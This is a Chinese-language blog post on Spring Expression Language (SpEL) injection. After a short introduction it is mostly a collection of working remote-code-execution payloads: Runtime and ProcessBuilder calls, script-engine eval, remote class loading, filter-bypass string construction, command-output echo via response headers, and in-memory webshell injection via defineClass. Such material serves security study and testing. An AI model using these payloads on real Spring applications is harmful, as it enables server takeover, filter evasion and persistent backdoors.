spel表达式注入

spel

在Spring 3 中引入了 Spring 表达式语言 (Spring Expression Language,简称SpEL)

在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

spel基础

导入依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.21</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.3.21</version>
</dependency>

基本操作

1.不注册变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.SPEL;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class SpELExample {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'test'.concat('test')");
System.out.println(exp.getValue());
}
}

运行输出

image-20240702143432355

2.注册变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class SpELExample {
public static void main(String[] args) {
test test = new test();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("weber",test);

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("#weber.name");
System.out.println(exp.getValue(context).toString());
}
}
class test {
public String name = "AsaL1n";
}

将test这个对象注册到StandardEvaluationContext内 注册为weber 这样在spel里面可以直接调用这个表达式

成功访问到这个对象

image-20240702144153972

定界符

spel使用**#{}**作为定界符 里面的字符都被认为是spel表达式

其中**${}** 用于加载外部属性文件中的值 两者可以混合使用

1
#{'${}'}

我们使用TemplateParserContext解析字符串模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example.SPEL;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class SpELExample {
public static void main(String[] args) {
test test = new test();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("weber",test);

ExpressionParser parser = new SpelExpressionParser();
String payload = "name is #{#weber.name}";
Expression exp = parser.parseExpression(payload, new TemplateParserContext());
System.out.println(exp.getValue(context).toString());
}
}
class test {
public String name = "AsaL1n";
}

运行结果为

image-20240702145402023

类型表达式

T() 会把里面的东西解析成一个类 ,此操作符返回一个object 他帮助我们获取类的静态对象并且返回

1
2
3
4
5
6
7
8
9
10
public class SpELExample {
public static void main(String[] args) {
StandardEvaluationContext context = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
String payload = "#{T(java.lang.Runtime)}";
Expression exp = parser.parseExpression(payload, new TemplateParserContext());
System.out.println(exp.getValue(context).toString());
}
}

运行结果为

image-20240702150856972

我们拿到了Runtime对象 那就可以直接rce了

1
2
3
4
5
6
7
8
9
10
public class SpELExample {
public static void main(String[] args) {
StandardEvaluationContext context = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
String payload = "#{T(java.lang.Runtime).getRuntime.exec('calc')}";
Expression exp = parser.parseExpression(payload, new TemplateParserContext());
System.out.println(exp.getValue(context).toString());
}
}

image-20240702150943008

需要注意的是 T(type)里面的必须是类全限定名字

不过java.lang下的包已经被spel库内置了 所以可以直接不指定具体的包名

变量引用

存在一些特殊的对象可以被引用

1
2
3
4
#variableName引用自定义变量
#this 引出此时正在计算的上下文
#root 当前容器的root对象
@something 引用bean

直接rce

runtime

如上文 可以直接构造出runtime来rce

1
2
3
4
5
6
7
8
9
public class SpELExample {
public static void main(String[] args) {
StandardEvaluationContext context = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
String payload = "#{T(java.lang.Runtime).getRuntime.exec('calc')}";
Expression exp = parser.parseExpression(payload, new TemplateParserContext());
System.out.println(exp.getValue(context).toString());
}
}

ProcessBuilder

1
2
3
4
5
6
7
8
9
10
public class SpELExample {
public static void main(String[] args) {
StandardEvaluationContext context = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
String payload = "#{new java.lang.ProcessBuilder('calc').start()}";
Expression exp = parser.parseExpression(payload, new TemplateParserContext());
System.out.println(exp.getValue(context));
}
}

image-20240702153730463

看到很多师傅里面选择使用了这种写法 也贴一下

1
String payload = "#{new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()}";

scriptEngine

jdk1.6开始提供了动态脚本语言诸如JavaScript动态的支持 .我们可以通过这个动态执行代码

输出引擎的相关信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class SpELExample {
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> tools = manager.getEngineFactories();
for(ScriptEngineFactory factory:tools){
System.out.println(factory.getEngineName());
System.out.println(factory.getEngineVersion());
System.out.println(factory.getExtensions());
System.out.println(factory.getLanguageName());
System.out.println(factory.getNames());
System.out.println(factory.getMimeTypes());

}
}
}

输出结果如下

image-20240702155806028

我们可以看到所有js的引擎如下

1
[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

我们可以使用里面的引擎完成rce

Nashorn

1
2
3
4
5
6
7
8
9
10
public class SpELExample {
public static void main(String[] args) {
StandardEvaluationContext context = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
String payload = "#{new javax.script.ScriptEngineManager().getEngineByName('nashorn').eval('java.lang.Runtime.getRuntime().exec(\"calc\");')}";
Expression exp = parser.parseExpression(payload, new TemplateParserContext());
System.out.println(exp.getValue(context));

}
}

成功rce

image-20240702162222203

javascript

同上

1
2
3
4
5
6
7
8
9
10
public class SpELExample {
public static void main(String[] args) {
StandardEvaluationContext context = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
String payload = "#{new javax.script.ScriptEngineManager().getEngineByName('javascript').eval('java.lang.Runtime.getRuntime().exec(\"calc\");')}";
Expression exp = parser.parseExpression(payload, new TemplateParserContext());
System.out.println(exp.getValue(context));

}
}

间接rce

urlclassloader

通过urlclassloader加载一个远程的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example.SPEL;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class calc extends AbstractTranslet {
public calc() {
}

public static void main(String[] args) {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}

然后起一个服务

image-20240702205823184

可以远程加载这个类完成rce

image-20240702205850751

AppClassloader

1
2
3
4
5
6
7
8
9
10
11
public class SpELExample {
public static void main(String[] args) {
StandardEvaluationContext context = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
String payload ="T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
Expression exp = parser.parseExpression(payload);
System.out.println(exp.getValue(context));

}
}

image-20240702205947888

其他的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
T(org.springframework.expression.Expression).getClass().getClassLoader()
#thymeleaf 情况下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
#web服务下通过内置对象
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
${header} 文件头参数
${applicationScope} 获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。
<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径

bypass

任意字符构造

T(类名).getName()会返回字符串类型的全限定类名 使用角标来构造我们想要的字符串

1
2
3
4
5
6
7
8
9
10
public class SpELExample {
public static void main(String[] args) {
StandardEvaluationContext context = new StandardEvaluationContext();
ExpressionParser parser = new SpelExpressionParser();
String payload ="T(String).getName()[0].replace(106,65)";
Expression exp = parser.parseExpression(payload);
System.out.println(exp.getValue(context));
}
}

image-20240702210416042

输出为

image-20240702210439228

也可以用

1
String payload ="T(Character).toString(97)";

外部可控字符绕过

1
2
3
4
5
6
7
8
9
post方法构造字符串

#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
get方法构造字符串

#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)
外部的cookie绕过

[[${#request.getRequestedSessionId()}]]

回显

BufferedReader

1
payload=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

Scanner

1
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()

ResponseHeader

1
#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())

内存马

1
2
3
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}

加载成字节码之后打入即可

参考

https://boogipop.com/2023/08/06/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93%E5%8F%8A%E5%9B%9E%E6%98%BE%E6%8A%80%E6%9C%AF/

https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%BF%90%E7%AE%97

https://xz.aliyun.com/t/9245?time__1311=n4%2BxnD0DuAG%3DU4WqGNnmDUhDROwiDRe6o%2B1oD